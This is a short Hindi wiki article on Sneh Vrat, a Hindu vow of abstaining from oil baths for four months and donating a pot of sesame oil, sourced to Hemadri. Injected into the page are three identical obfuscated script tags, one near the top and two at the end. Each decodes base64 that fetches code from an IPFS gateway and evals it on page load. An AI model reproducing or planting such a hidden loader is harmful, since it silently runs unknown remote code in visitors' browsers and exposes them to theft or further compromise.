स्नेह व्रत

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
लक्ष्मी गोस्वामी (चर्चा | योगदान) द्वारा परिवर्तित ०५:३८, १३ जनवरी २०११ का अवतरण
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
नेविगेशन पर जाएँ खोज पर जाएँ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
  • स्नेहव्रत मास व्रत है।
  • स्नेहव्रत में देवता की पूजा की जाती है।
  • ऐसी मान्यता है कि आषाढ़ से लेकर चार मासों में तेल के साथ स्नान का त्याग करना चाहिए
  • केवल पायस एवं घी का सेवन करना चाहिए।
  • अन्त में तिल के तेल से पूर्ण एक घट का दान करना चाहिए।
  • ऐसी मान्यता है कि इससे लोगों का स्नेह मिलता है।[१]

टीका टिप्पणी और संदर्भ

  1. हेमाद्रि (व्रत 2, 818, पद्म पुराण से उद्धरण)

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>